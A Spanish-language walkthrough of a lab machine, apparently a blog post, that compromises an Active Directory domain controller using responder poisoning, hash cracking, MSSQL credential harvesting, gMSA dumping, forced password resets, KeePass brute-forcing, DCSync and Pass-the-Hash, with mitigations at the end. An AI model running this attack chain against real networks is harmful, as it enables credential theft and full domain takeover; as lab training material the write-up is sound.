Post cover image

July 24, 2026

The Hackers Labs Writeup — Curiosity2 (Spanish)

A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Curiosity2”.

By David Prieto Montero (a.k.a Pyth0nK1d)

18 min read

Este laboratorio está catalogado con la dificultad "Profesional" y su autor es "K0B4KS".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Configuración por defecto, Contraseña débil, Curiosidad, DCSync, Directorio Activo (Active Directory), Divulgación de información, Group Managed Service Account (gMSA), Investigación, Mala configuración de privilegios, Mala configuración de servicio, Microsoft SQL Server (MSSQL), Movimiento lateral, Pass-the-Hash (PtH), Permisos mal configurados o laxos, Windows

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

  • Captura de hashes NTLMv2 de los usuarios de dominio Appolonia y sqldb. Debido a la debilidad de sus contraseñas, fue posible obtener las credenciales mediante un proceso de cracking offline. Esto ofrece la posibilidad de realizar el acceso inicial al DC como cualquiera de estos dos usuarios a través de WinRM.
  • La instancia por defecto de MSSQL accesible permite el acceso de ambos usuarios mediante autenticación integrada de Windows, permitiendo divulgación de información sin necesidad de credenciales válidas. Se descubren y recuperan así las credenciales en texto plano para el usuario de dominio sqlsvc, pudiendo acceder al DC como este usuario a través de WinRM.
  • El grupo de dominio svc_accounts, al que el usuario de dominio sqlsvc pertenece, permite la extracción del hash NTLM de la cuenta de dominio gMSA denominada GMSA_SQL$, pudiendo acceder al DC como esta cuenta a través de WinRM mediante Pass-the-Hash (PtH).
  • La cuenta de dominio gMSA denominada GMSA_SQL$ permite el cambio de contraseña sobre el usuario de dominio toolsdb, debido al permiso "ForceChangePassword" configurado, pudiendo acceder al DC como este usuario a través de WinRM.
  • El usuario de dominio toolsdb tiene acceso a una nueva tabla de base de datos dentro de la instancia por defecto de MSSQL, la cual parece contener credenciales en texto plano. Gracias a las contraseñas descubiertas y a la base de datos KeePass detectada en el directorio principal del usuario de dominio sqlsvc, permite descubrir así las credenciales en texto plano para el usuario de dominio MSOL.
  • Se detecta el permiso especial "GetChangesAll" que permite al usuario de dominio MSOL realizar un ataque DCSync para la extracción de credenciales válidas del dominio.
  • Utilizar el hash del usuario administrador de dominio Administrator (Domain Admin) extraído para acceder de forma privilegiada al DC a través de WinRM mediante Pass-the-Hash (PtH).
  • Identificación y documentación de otras curiosidades encontradas.

Configuración previa necesaria

En el PDF adjunto a este laboratorio se indica la importancia de la configuración de red previa a realizar.

Indico a continuación una serie de recomendaciones a seguir según mi propia experiencia con este laboratorio:

  • Utilizar el hipervisor VirtualBox para realizar este laboratorio y evitar así posibles problemas de compatibilidad.
  • Realizar la configuración de red exactamente como se indica en el PDF adjunto.
  • No he tenido ningún problema en particular con este laboratorio. Sin embargo, siempre recomiendo que en el caso de encontrarse con algún problema, volver a importarlo en VirtualBox.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 192.168.56.116
None

Se puede comprobar que el TTL asignado es 128, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es Microsoft Windows.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 192.168.56.116 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49683,49684,49686,49690,49701,57936 -n -Pn 192.168.56.116 -oN services
None None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (Appolonia)

En este caso se detecta que hay catorce puertos abiertos (excluyendo los high ports):

  • Puerto 53 (servicio DNS, Simple DNS Plus)
  • Puerto 88 (servicio Kerberos, Microsoft Windows Kerberos)
  • Puerto 135 (servicio RPC, Microsoft Windows RPC)
  • Puerto 139 (protocolo NetBIOS, Microsoft Windows SMB)
  • Puerto 389 (servicio LDAP, Microsoft Windows Active Directory LDAP)
  • Puerto 445 (protocolo SMB, Microsoft Windows SMB)
  • Puerto 464 (servicio Kerberos, kpasswd)
  • Puerto 593 (servicio RPC, Microsoft Windows RPC)
  • Puerto 636 (servicio LDAPS, Lightweight Directory Access Protocol over TLS/SSL)
  • Puerto 3268 (servicio LDAP, LDAP connection to Global Catalog)
  • Puerto 3269 (servicio LDAPS, LDAP connection to Global Catalog over SSL)
  • Puerto 5985 (servicio WinRM, Microsoft Windows Remote Management)
  • Puerto 9389 (servicio ADWS, Active Directory Web Services)
  • Puerto 57936 (servicio MSSQL, Microsoft SQL Server 2019 15.00.2000.00 RTM)

Además, gracias a la detección de estos servicios, se puede comprobar que el sistema subyacente es Windows aparentemente ejecutando servicios asociados a Directorio Activo (Active Directory) dando a entender que actúa como un controlador de dominio (Domain Controller****, DC).

Tras investigar los distintos servicios desde una perspectiva no autenticada sin éxito, se decide utilizar la herramienta "responder" para capturar cualquier posible intento de autenticación que se esté realizando.

En resumen, la herramienta "responder" es una herramienta de seguridad informática utilizada principalmente en pruebas de penetración y auditorías de redes Windows. Su objetivo es aprovechar ciertos mecanismos de resolución de nombres como LLMNR (Link-Local Multicast Name Resolution) o NBT-NS (NetBIOS Name Service) junto a la autenticación de Windows para capturar intentos de autenticación de equipos de una red y analizar configuraciones inseguras.

sudo responder -I eth0

Tras mantenerlo a la escucha, este termina capturando los intentos de autenticación a través de SMB de dos usuarios denominados "Appolonia" y "sqldb", lo que resulta en la obtención del hash NTLMv2 de ambos.

...
[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLSERVER (service: File Server)
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to fe80::f40b:ce8b:a815:caf4 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to fe80::f40b:ce8b:a815:caf4 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLserver
[SMB] NTLMv2-SSP Client   : fe80::f40b:ce8b:a815:caf4
[SMB] NTLMv2-SSP Username : cons\Appolonia
[SMB] NTLMv2-SSP Hash     : <RECORTADO>
...
[*] [NBT-NS] Poisoned answer sent to 192.168.56.116 for name SQLDATABABASE (service: File Server)
[*] [LLMNR]  Poisoned answer sent to fe80::f40b:ce8b:a815:caf4 for name SQLDatababase
[*] [LLMNR]  Poisoned answer sent to 192.168.56.116 for name SQLDatababase
[*] [LLMNR]  Poisoned answer sent to fe80::f40b:ce8b:a815:caf4 for name SQLDatababase
[SMB] NTLMv2-SSP Client   : fe80::f40b:ce8b:a815:caf4
[SMB] NTLMv2-SSP Username : cons\sqldb
[SMB] NTLMv2-SSP Hash     : <RECORTADO>
...
None

Al intentar romper estos hashes utilizando listas de contraseñas conocidas, se termina detectando una que consigue romper ambos.

mousepad ntlmv2.hashes -> pegar y guardar los hash capturados
john --wordlist=/usr/share/seclists/Passwords/seasons.txt ntlmv2.hashes
None

Probando las credenciales, se comprueba que efectivamente son válidas y que ambos usuarios tienen permitido el acceso al sistema a través de WinRM.

netexec ldap 192.168.56.116 -u "sqldb" -p '<RECORTADO>' --ignore-pw-decoding
netexec ldap 192.168.56.116 -u "Appolonia" -p '<RECORTADO>' --ignore-pw-decoding

netexec winrm 192.168.56.116 -u "Appolonia" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.116 -u "sqldb" -p '<RECORTADO>' --ignore-pw-decoding
None

Con las credenciales del usuario "Appolonia" se obtiene acceso inicial al sistema, obteniendo así la flag asociada a este usuario.

evil-winrm -i 192.168.56.116 -u "Appolonia" -p '<RECORTADO>'

whoami
hostname
ipconfig

dir ..\Desktop
dir
type User.flag.txt
None

Escalada de privilegios (Appolonia + sqldb -> sqlsvc)

Para obtener una visión más completa del dominio, en esta ocasión se utiliza la herramienta "bloodhound-python" para poder extraer toda la información posible de este.

bloodhound-python -c All -d 'cons.thl' -u "Appolonia" -p '<RECORTADO>' -ns 192.168.56.116 --zip
None

El archivo ZIP resultante tras la ejecución contiene la información de dominio recolectada por la herramienta. Para visualizarla, es necesario disponer de la herramienta BloodHound instalada.

En resumen, BloodHound es una herramienta de pentesting que analiza y visualiza relaciones en Active Directory para descubrir rutas de ataque y posibles escaladas de privilegios, lo que la hace muy útil en auditorías de seguridad y defensa de redes corporativas.

Instalar BloodHound: sudo apt install bloodhound

Una vez instalada, configurada y abierta la UI de la herramienta, se importa el archivo ZIP previamente generado.

None

Una vez se haya procesado la información y se haya generado el mapa del dominio con esta, es posible empezar a inspeccionarla.

Se comienza desde los usuarios que ya se controlan para ver que posibles privilegios disponen. Sin embargo, desde estos no se detecta nada relevante para poder continuar escalando.

Al enumerar el sistema, se detecta información sobre la instalación del servicio MSSQL ejecutándose, donde se puede confirmar que está ejecutando una instancia SQLEXPRESS por defecto.

Nota importante: Esta información también se detecta en la salida de nmap, aunque sirve para confirmar que existe una instancia configurada y en funcionamiento.

type "C:\Program Files\Microsoft SQL Server\150\Setup Bootstrap\Log\Summary.txt"
...
IACCEPTSQLSERVERLICENSETERMS:  true
  IACKNOWLEDGEENTCALLIMITS:      false
  INDICATEPROGRESS:              true
  INSTALLSHAREDDIR:              C:\Program Files\Microsoft SQL Server\
  INSTALLSHAREDWOWDIR:           C:\Program Files (x86)\Microsoft SQL Server\
  INSTALLSQLDATADIR:             <empty>
  INSTANCEDIR:                   C:\Program Files\Microsoft SQL Server
  INSTANCEID:                    SQLEXPRESS
  INSTANCENAME:                  SQLEXPRESS
  ISMASTERSVCACCOUNT:            NT AUTHORITY\Network Service
  ISMASTERSVCPASSWORD:           <empty>
  ISMASTERSVCPORT:               8391
  ISMASTERSVCSSLCERTCN:          <empty>
  ISMASTERSVCSTARTUPTYPE:        Automatic
  ISMASTERSVCTHUMBPRINT:         <empty>
None

Este servicio por defecto utiliza la autenticación integrada de Windows para permitir el acceso al servicio. Además, existe una herramienta denominada "sqlcmd" la cual sirve para conectarse a instancias de SQL Server y ejecutar consultas, scripts o comandos T-SQL, y que en ciertos entornos se encuentra instalada por defecto.

Referencia (Windows Authentication by default in MSSQL): https://learn.microsoft.com/da-dk/sql/relational-databases/security/choose-an-authentication-mode?view=sql-server-ver17#connecting-through-windows-authentication
Referencia (sqlcmd): https://learn.microsoft.com/en-us/sql/tools/sqlcmd/sqlcmd-download-install?view=sql-server-ver17&tabs=linux#preinstalled
Referencia (Connecting to a user instance): https://learn.microsoft.com/en-us/sql/connect/ado-net/sql/sql-server-express-user-instances?view=sql-server-ver17#connecting-to-a-user-instance

Si el usuario actual se encuentra configurado para que permita el acceso a este servicio mediante la autenticación integrada de Windows, esto puede permitir ejecutar consultas SQL sobre esta instancia del servicio.

Tras probarlo, se puede comprobar que la consulta se ejecuta y es posible consultar la versión del servicio en ejecución.

sqlcmd -S .\SQLEXPRESS -Q "SELECT @@VERSION"
None

Esto funciona debido a que se utiliza la autenticación integrada de Windows del usuario actual para poder conectarse directamente. Se puede comprobar que la autenticación mediante esta identidad de Windows permite el acceso de usuarios autenticados pertenecientes al grupo "BUILTIN\Users", al cual pertenece cualquier usuario del sistema, incluidos el usuario actual y "sqldb".

Además, la instancia está configurada para que solo pueda accederse al servicio mediante este modo de autenticación.

whoami /groups
sqlcmd -S .\SQLEXPRESS -Q "SELECT name, type_desc FROM sys.server_principals WHERE type IN ('S','U','G');"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SET NOCOUNT ON; SELECT ORIGINAL_LOGIN() AS original_login, SUSER_SNAME() AS current_login, SYSTEM_USER AS login_name"
sqlcmd -S .\SQLEXPRESS -h 1 -W -Q "SELECT SERVERPROPERTY('IsIntegratedSecurityOnly') AS WindowsOnly;"
None

En este punto es posible enumerar las bases de datos disponibles.

sqlcmd -S .\SQLEXPRESS -Q "SELECT name FROM sys.databases"
None

Al enumerar las tablas existentes, no se detecta nada relevante, posiblemente debido a los privilegios asignados a este usuario.

Para automatizar la enumeración, se utiliza un procedimiento en particular denominado "sp_MSforeachdb" para realizar esta enumeración de tablas automática, excluyendo las bases de datos que no vayan a contener en principio nada de interés.

Nota importante: "sp_MSforeachdb" es un procedimiento almacenado interno incluido en SQL Server que permite ejecutar un comando T-SQL sobre cada base de datos de una instancia. No está documentado oficialmente por Microsoft y su uso no está recomendado como dependencia de código de producción. Por ello, se recomienda utilizar este procedimiento con precaución.

Referencia (sp_MSforeachdb, what we know): https://www.sqlservice.se/sp_msforeachdb-tricks-of-the-trade/
EXEC sp_MSforeachdb '
IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'')
BEGIN
    USE [?];
    SELECT
        DB_NAME() AS DatabaseName,
        s.name AS SchemaName,
        t.name AS TableName
    FROM sys.tables t
    JOIN sys.schemas s
        ON t.schema_id = s.schema_id;
END
';

Al ejecutarlo mediante "sqlcmd", se puede comprobar que no se obtiene ninguna tabla, por lo que posiblemente este usuario no tenga privilegios suficientes para acceder a estas.

sqlcmd -S .\SQLEXPRESS -Q "EXEC sp_MSforeachdb 'IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'') BEGIN USE [?]; SELECT DB_NAME() AS DatabaseName, s.name AS SchemaName, t.name AS TableName FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id; END';"
None

Sin embargo, al acceder al sistema a través de WinRM como el usuario "sqldb" y realizar la misma operación, este si que parece tener permiso para acceder a una tabla en particular, ya que el resultado del comando no muestra una respuesta vacía en esta ocasión.

evil-winrm -i 192.168.56.116 -u sqldb -p <RECORTADO>
sqlcmd -S .\SQLEXPRESS -Q "EXEC sp_MSforeachdb 'IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'') BEGIN USE [?]; SELECT DB_NAME() AS DatabaseName, s.name AS SchemaName, t.name AS TableName FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id; END';"
...

DatabaseName: CredentialsDB
TableName: Credentials
SchemaName: dbo
None

Al consultar el contenido de esta tabla, se puede comprobar que contiene lo que parece ser las credenciales de un usuario denominado "sqlsvc".

sqlcmd -S .\SQLEXPRESS -d "CredentialsDB" -Q "SELECT * from dbo.Credentials"
...

ID: 1
Username: sqlsvc
Password: <RECORTADO>
None

Al parecer el hash descubierto parece tener el formato MD5.

hashid <RECORTADO>
None

Siguiendo la misma estrategia, se prueba el mismo diccionario que se ha utilizado previamente especificando el formato del hash. Esto resulta en obtener la contraseña asociada.

mousepad sqlsvc.hash -> pegar y guardar el hash
john --wordlist=/usr/share/seclists/Passwords/seasons.txt  --format=Raw-MD5 sqlsvc.hash
None

Probando las credenciales, se comprueba que efectivamente son válidas y que este usuario tiene permitido el acceso al sistema a través de WinRM.

netexec ldap 192.168.56.116 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.116 -u "sqlsvc" -p '<RECORTADO>' --ignore-pw-decoding
None

Con las credenciales del usuario de dominio "sqlsvc" se obtiene acceso inicial al sistema a través de WinRM.

evil-winrm -i 192.168.56.116 -u "sqlsvc" -p '<RECORTADO>'

whoami
hostname
ipconfig
None

Escalada de privilegios (sqlsvc -> GMSA_SQL$)

Enumerando el sistema como este nuevo usuario se detecta una base de datos de contraseñas que se procede a descargar para analizarse más detenidamente. Sin embargo, su análisis se mantiene para más adelante para continuar enumerando.

dir
download Database.kdbx
None

Al revisar nuevamente BloodHound, se detecta un posible vector de escalada de privilegios dentro del dominio.

Se detecta una forma de poder acceder desde el usuario "sqlsvc" al usuario "toolsdb" aprovechando una cadena de privilegios encontrada.

sqlsvc -> MemberOf -> svc_accounts -> ReadGMSAPassword -> GMSA_SQL$ -> ForceChangePassword -> toolsdb
None

Para ello, primero es necesario obtener acceso a la cuenta de dominio denominada "GMSA_SQL$". Como el usuario de dominio "sqlsvc" pertenece al grupo de dominio "svc_accounts", se detecta que los miembros de este grupo tienen un permiso especial "ReadGMSAPassword" sobre la cuenta de dominio "GMSA_SQL$", permitiendo la extracción y lectura de su contraseña. Al disponer de este permiso, esta cuenta parece ser una cuenta gMSA (Group Managed Service Account).

En resumen, una gMSA es una cuenta de servicio administrada por Active Directory cuyo secreto (contraseña) es generado, almacenado y rotado automáticamente por el dominio. Se utiliza para ejecutar servicios (SQL Server, IIS, aplicaciones, tareas programadas, etc.) sin que un administrador tenga que gestionar contraseñas manualmente.

Además, se puede comprobar que hay unas instrucciones que indican como es posible aprovechar este privilegio utilizando una herramienta denominada "gMSADumper".

Reference (gMSADumper): https://github.com/micahvandeusen/gMSADumper
None

Para explotar este permiso, primero se descarga esta herramienta y se instalan sus dependencias.

git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip install -r requirements.txt
None

Una vez ejecutada facilitando las credenciales del usuario de dominio "sqlsvc", es posible obtener las credenciales de la cuenta de dominio "GMSA_SQL$", obteniendo el hash NTLM asociado a esta.

python3 gMSADumper.py
python3 gMSADumper.py -u sqlsvc -p '<RECORTADO>' -d cons.thl -l '192.168.56.116
None

En este punto, se puede probar que es posible obtener acceso como la cuenta de dominio "GMSA_SQL$" mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente.

netexec ldap 192.168.56.116 -u "GMSA_SQL$" -H '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.116 -u "GMSA_SQL$" -H '<RECORTADO>' --ignore-pw-decoding
None

De esta forma es posible acceder al sistema a través del servicio WinRM como la cuenta de dominio "GMSA_SQL$" mediante Pass-the-Hash (PtH).

evil-winrm -i 192.168.56.116 -u "GMSA_SQL$" -H '<RECORTADO>'

whoami
hostname
ipconfig
None

Escalada de privilegios (GMSA_SQL$ -> toolsdb)

Tras volver al vector detectado previamente en BloodHound, se detecta que la cuenta de dominio "GMSA_SQL$" dispone de un permiso "ForceChangePassword" sobre el usuario de dominio "toolsdb", lo que le permite forzar el cambio de contraseña de dicho usuario.

Además, Se puede comprobar que hay unas instrucciones que indican como es posible aprovechar este privilegio utilizando PowerView.

GMSA_SQL$ -> ForceChangePassword -> toolsdb

ForceChangePassword -> Windows Abuse -> PowerView > Set-DomainUserPassword
None

En resumen, PowerView es una herramienta de pentesting para Active Directory que permite enumerar usuarios, grupos, permisos y relaciones dentro de una red, siendo muy útil para detectar configuraciones débiles y posibles rutas de ataque.

En este caso por conveniencia y no por imposibilidad**, se utiliza una adaptación en Python** que dispone de los comandos necesarios para realizar las operaciones necesarias.

Referencia (PowerView en Python): https://github.com/aniqfakhrul/powerview.py
Instalación: https://github.com/aniqfakhrul/powerview.py/wiki/Installation-Guide

(en mi caso he creado un entorno virtual para instalarla)
sudo apt install libkrb5-dev
virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip3 install powerview

Una vez instalada, es posible iniciarla facilitando credenciales válidas del dominio. En este caso, se usan las de la cuenta de dominio "GMSA_SQL$". Al disponer de este privilegio, es posible cambiar su contraseña para ganar acceso a este.

powerview cons.thl/'GMSA_SQL$'@192.168.56.116 -H :<RECORTADO>
...
╭─LDAPS─[WIN-C73PROQLRHL.cons.thl]─[CONS\GMSA_SQL$]-[NS:192.168.56.116]
╰─ ❯ Set-DomainUserPassword -Identity 'toolsdb' -AccountPassword '<RECORTADO>'
[Set-DomainUserPassword] Principal CN=toolsdb,CN=Users,DC=cons,DC=thl found in domain
[Set-DomainUserPassword] Password has been successfully changed for user toolsdb
None

Tras probar estas credenciales, se puede comprobar que son válidas y permite acceder al sistema a través de WinRM.

evil-winrm -i 192.168.56.116 -u "toolsdb" -p '<RECORTADO>'

whoami
hostname
ipconfig
None

Escalada de privilegios (toolsdb -> MSOL)

Al recordar que existe una base de datos denominada de la misma forma que este usuario, se realiza la misma enumeración de tablas que se hizo anteriormente para intentar detectar nuevas tablas accesibles. En este caso se detecta una que parece contener credenciales en texto plano.

sqlcmd -S .\SQLEXPRESS -Q "EXEC sp_MSforeachdb 'IF ''?'' NOT IN (''master'',''model'',''msdb'',''tempdb'') BEGIN USE [?]; SELECT DB_NAME() AS DatabaseName, s.name AS SchemaName, t.name AS TableName FROM sys.tables t JOIN sys.schemas s ON t.schema_id = s.schema_id; END';"
...

DatabaseName: toolsdb
TableName: users
SchemaName: dbo

sqlcmd -S .\SQLEXPRESS -d "toolsdb" -Q "SELECT * from dbo.users"
...

(10 pares de nombres de usuario / contraseña en texto plano)
None

Como los nombres de usuario no parecen corresponder a ningún servicio identificado, se almacenan las contraseñas para reutilizarse.

En este caso, se utiliza para intentar romper el hash asociado a la contraseña maestra de la base de datos de contraseñas de KeePass descargada previamente. Sin embargo, este parece devolver un error relacionado con la versión al intentar extraer el hash.

mousepad toolsdb-passwords.txt -> pegar y guardar las contraseñas
keepass2john Database.kdbx > keepass.hash
...
! Database.kdbx : File version '40000' is currently not supported!

john --wordlist=./toolsdb-passwords.txt keepass.hash -> se genera el archivo pero no el hash
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
None

Para poder probar las contraseñas, se utiliza una herramienta denominada "keepass4brute", la cual sirve para realizar un ataque de diccionario sobre la base de datos de contraseñas KeePass para intentar descubrir la contraseña maestra.

Referencia (keepass4brute): https://github.com/r3nt0n/keepass4brute.git

Tras clonar y ejecutar la herramienta, se puede comprobar que este requiere de KeePassXC para poder ejecutarse.

git clone https://github.com/r3nt0n/keepass4brute.git
cd keepass4brute

./keepass4brute.sh
./keepass4brute.sh ../Database.kdbx ../toolsdb-passwords.txt
...

Error: keepassxc-cli not installed.  Aborting.
None

En el caso de no disponer de KeePassXC, se puede instalar de esta forma:

sudo apt install keepassxc

Una vez instalado, es posible ejecutar la herramienta, obteniendo prácticamente al instante la contraseña maestra de la base de datos de contraseñas.

./keepass4brute.sh ../Database.kdbx ../toolsdb-passwords.txt
...

[*] Password found: <RECORTADO>
None

Una vez conociendo la contraseña, es posible abrir la base de datos de contraseñas y utilizar esta para desbloquearla utilizando KeePassXC. Al acceder a esta, se puede comprobar que guarda las credenciales de un usuario de dominio denominado "MSOL".

(abrir archivo Database.kdbx con KeePassXC)
(desbloquear la base de datos con la contraseña descubierta)

Username: MSOL
Password: <RECORTADO>
None

Probando las credenciales, se comprueba que efectivamente son válidas. Sin embargo, este usuario no tiene permitido el acceso al sistema a través de WinRM.

netexec ldap 192.168.56.116 -u "MSOL" -p '<RECORTADO>' --ignore-pw-decoding
netexec winrm 192.168.56.116 -u "MSOL" -p '<RECORTADO>' --ignore-pw-decoding
None

Escalada de privilegios (MSOL -> Administrator)

Tras analizar los permisos disponibles del usuario de dominio "MSOL" desde BloodHound, se puede comprobar que este dispone de una gran cantidad de ellos sobre diferentes objetos del dominio, lo que da a entender que es una cuenta privilegiada.

Tras analizar más en detalle, se detecta que el usuario de dominio "MSOL" dispone de un permiso "GetChangesAll" sobre el propio dominio "cons.thl", lo que le ofrece la capacidad de realizar un ataque DCSync.

MSOL -> GetChangesAll -> CONS.THL
None

Este consiste en solicitar datos de replicación del Directorio Activo al Controlador de Dominio, obteniendo así información privilegiada como los hashes de contraseñas de las cuentas del dominio, entre otros.

impacket-secretsdump cons.thl/MSOL:'<RECORTADO>'@192.168.56.116
None

En este punto, se puede probar que es posible obtener acceso como el usuario administrador de dominio mediante Pass-the-Hash (PtH), o lo que es lo mismo, utilizando su hash NTLM para autenticarse directamente.

netexec ldap 192.168.56.116 -u "Administrator" -H '<RECORTADO>' --ignore-pw-decoding
None

Como este usuario tiene los privilegios máximos sobre el dominio, tiene la capacidad para interactuar con cualquier servicio sin restricciones. Por ello, es posible acceder al sistema a través del servicio WinRM como el usuario administrador de dominio "Administrator", obteniendo así la flag asociada a este usuario.

evil-winrm -i 192.168.56.116 -u "Administrator" -H '<RECORTADO>'

whoami
hostname
ipconfig

dir ..\Desktop
dir
type root.flag.txt
None

En este punto, al haber obtenido acceso como el administrador del dominio, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS: Detectado script encargado de realizar las peticiones de autenticación mediante SMB

Durante la enumeración del sistema se identificó el script encargado de acceder a recursos compartidos mediante el protocolo SMB. Este comportamiento fue el que se aprovechó para capturar respuestas de autenticación NTLMv2 generadas por los usuarios de dominio al intentar autenticarse contra el recurso compartido.

dir C:\temp
type C:\temp\shareconnect.ps1
None

Este se ejecuta gracias a un servicio que se inicia automáticamente al arrancar el sistema denominado "shareconnect".

Get-Service | findstr /i "shareconnect"
Get-CimInstance Win32_Service -Filter "Name='shareconnect'" | Format-List *
None

Este servicio se gestiona mediante un programa denominado NSSM o The Non-Sucking Service Manager, encargado de mantener este servicio arrancado.

Referencia (NSSM): https://github.com/dkxce/NSSM
dir "C:\temp\nssm-2.24 (1)\nssm-2.24"
type "C:\temp\nssm-2.24 (1)\nssm-2.24\README.txt"
None

Mitigaciones a aplicar

  • Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
  • Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou o que se permita asignar una sin la suficiente complejidad. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios, grupos y recursos única y exclusivamente los privilegios que vayan a necesitar. Recomendación: existen guías de hardening por parte de Microsoft de Active Directory para aplicar buenas prácticas y asegurar entre otras cosas, los permisos y tomar acciones concretas sobre los distintos activos gestionados a través de este entorno.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com